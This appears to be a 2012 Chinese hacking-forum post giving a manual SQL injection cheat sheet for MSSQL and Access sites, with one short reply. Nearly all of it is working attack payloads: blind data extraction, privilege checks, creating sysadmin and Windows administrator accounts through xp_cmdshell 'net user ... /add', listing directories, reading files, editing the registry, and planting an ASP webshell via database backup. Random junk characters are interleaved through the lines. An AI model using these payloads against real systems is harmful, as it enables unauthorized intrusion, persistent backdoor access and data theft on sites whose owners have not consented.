中国网络渗透测试联盟

标题: 手工脚本注入 [打印本页]

作者: admin    时间: 2012-9-15 14:48
标题: 手工脚本注入
手工脚本注入
9 C  n) ^8 e  ]4 M. r4 x1.判断是否有注入;and 1=1 ;and 1=2 & n0 M4 ^, {" s7 r
: h9 J9 H/ [, E/ Q
2.初步判断是否是mssql ;and user>0
# p/ t2 O, {7 @0 ^6 W
4 @. n7 x& k% z3.注入参数是字符'and [查询条件] and ''=' 1 z3 F# G* ^6 k$ S/ i
* K& @8 E; ?% n7 T: X
4.搜索时没过滤参数的'and [查询条件] and '%25'='
; P) Z9 L9 H1 c! p
5 ^7 _0 W9 h2 e) R# }5.判断数据库系统 ; M0 }- K( A9 i1 }$ Z/ H: h  T
;and (select count(*) from sysobjects)>0 mssql ( S! `+ _& U' v
;and (select count(*) from msysobjects)>0 access
/ U$ |; K+ ^7 h3 m8 B. O
4 {$ ^5 e, D& k! A" I5 \" c5 L% A6.猜数据库 ;and (select Count(*) from [数据库名])>0
" r; C7 I* M, `! U3 ^  |9 {, `& B- T3 s' A6 L/ p* ^
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
/ A" V6 O& j- w6 Y- @. m; \
) q% M$ }5 C2 R8 o3 z8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
: G$ h" d1 e% j. |: Q, N
8 j& N( {7 Y# D! t: V) j9.(1)猜字段的ascii值(access)
3 }( Z1 n' K4 C" _- x  i# x;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
& `7 G% V! n% h$ I& f! }9 ~; L5 S3 l6 }- U' c
(2)猜字段的ascii值(mssql)
. i  u; x- ]7 @4 v& X0 e;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
& S+ P0 ^! @$ ~& R/ T& j" A+ `
1 m4 n# o( }8 |) W10.测试权限结构(mssql)
6 T" H& ~3 w5 E) w& N;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ; C) c% q9 q; \% d' E* h& p3 y
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
1 F  ?6 p' K+ ?' Z7 G- u; [;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
! P5 h1 _& U7 w;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
* |3 q3 p6 {* h8 a/ g- \;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
4 s0 n0 ?) W, n;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- # J* F1 v& W% ?1 I$ R  ]: p
;and 1=(select IS_MEMBER('db_owner'));--
! [! M& x' L6 K% r( C
9 u& j8 A2 c) C9 Q* h5 Y11.添加mssql和系统的帐户
- n# t% E. S0 H- c* w, v;exec master.dbo.sp_addlogin username;-- 6 V( `& h! W  ?, j
0 K# s7 H8 a# v6 M. ]3 `' Q
;exec master.dbo.sp_password null,username,password;--
( ^5 W& A6 X. m- u' N, }5 ?" j8 ^; o/ \/ a# H+ c4 _
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
) x+ g; Q* M1 R  d. A% X  U/ l; C5 A# u1 [8 N
;exec master.dbo.xp_cmdshell 'net user username password # ?8 R! w/ I) O9 |# ^% u
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
' q. ^! X6 i1 X3 q6 ^, \- C# h* w1 D* l& W0 p
;exec master.dbo.xp_cmdshell 'net user username password /add';--
! b: M3 e2 x! s% X3 M2 o( e4 }/ M9 K) q1 r
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- + A* a+ Z6 G% b$ B" u6 }

& u; s! O8 M! ~1 F9 G+ |12.(1)遍历目录
$ v; Y+ u, ?7 K9 @6 H, ~% y
8 O. r) X: q5 A( j. l* ^;create table dirs(paths varchar(100), id int) # d& ]" s' ^, f9 n) G
;insert dirs exec master.dbo.xp_dirtree 'c:\'
: U+ R2 C' X8 C& s;and (select top 1 paths from dirs)>0
' W6 Q5 C( m6 h! A/ ]5 y; T;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
1 B' w7 ?3 v& @& M! _/ s" w3 F  x/ B. {# T5 j
(2)遍历目录 1 I& A" c/ m' ^$ c
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ! k5 A' B$ o; K* h
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
3 s$ N- u/ ~: M/ m( X;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
6 j  x' ^+ j) {6 d/ |! X5 k;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 3 g0 j+ [7 C- P
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
. M, O+ ]/ C% e! e1 _1 p6 B9 I
7 w' C( Y- d$ J% h8 G2 @13.mssql中的存储过程 5 G/ `3 V; N- N# P
: O8 N# f0 |; ^# L* u
xp_regenumvalues 注册表根键, 子键 7 F! X+ k5 ]6 O3 M8 V
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ) z, C( {" V0 `/ ]
( Z, N, `  I9 V) |8 M! W
xp_regread 根键,子键,键值名
6 k% o3 B3 ?0 U/ c( n' o) H;exec xp_regread
' E: z, g1 y9 C* d'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
( Y5 C6 }) P6 E8 k; q4 e
$ {- L5 T# ^1 y5 rxp_regwrite 根键,子键, 值名, 值类型, 值
7 E# P- w. S- p- N值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
/ X' l- C6 o1 h% \/ T& X! u;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
) O# s  C( }' i5 d' _' S0 T# v4 g: [! Y. z( b/ N
xp_regdeletevalue 根键,子键,值名
. X& F5 Y: [* V. Z
# \. V5 b4 D/ Y1 T3 x7 Oexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
3 {2 A6 m" Z* J$ F. C4 o& M' r) {* f8 \% P& z% {, C' L
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 0 K9 w9 L: e6 }4 n, s" W

, k% |1 X1 H6 X  J1 b* d& t14.mssql的backup创建webshell
8 @) ~. H+ z( _7 K" r9 o# g( `% |! Fuse model , X# z1 `/ W, H' G4 M; C* V* }) w
create table cmd(str image); 1 d' N5 X# U+ i! c. y  n5 c
insert into cmd(str) values ('');
- d# {  e+ {2 ubackup database model to disk='c:\l.asp'; 0 M: j' I& U: K7 p8 c
. m' V! x6 U+ o7 \- Q
15.mssql内置函数 * j0 M! Z4 L+ p) y2 |) Y3 }* b, }
;and (select @@version)>0 获得Windows的版本号 . n* @8 _; S* i+ S" T9 ?
;and user_name()='dbo' 判断当前系统的连接用户是不是sa " A2 O  ~/ ~9 a9 ]1 f3 D
;and (select user_name())>0 爆当前系统的连接用户
: s% Y8 o. H9 H; k+ u" A;and (select db_name())>0 得到当前连接的数据库
! W3 r' I  G- d: I: _- g- c
* D" `6 M* b1 t, v16.简洁的webshell
$ J- p8 E( X9 O" Q; v, h! h. P2 \  u+ x6 }. c0 p& @
use model
6 U& X' W- ^$ T' P+ W  Q% k
( g7 R! h5 R8 M$ b. t# y. Wcreate table cmd(str image); 2 e+ y4 O3 K, |1 Z/ W: S

2 ~+ R0 L% z. b9 u  k  Winsert into cmd(str) values ('');
/ |: w3 s5 ?3 J# ]: A
# v9 j  G/ L3 `4 ubackup database model to disk='g:\wwwtest\l.asp';
  u' A$ l4 ^% U( ?' E+ u; |
0 g% e8 {& U" v7 k$ \% s" v9 l, Y
作者: 老男孩    时间: 2012-9-15 16:34
现在很多防注入啊,有其他注入字符码




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2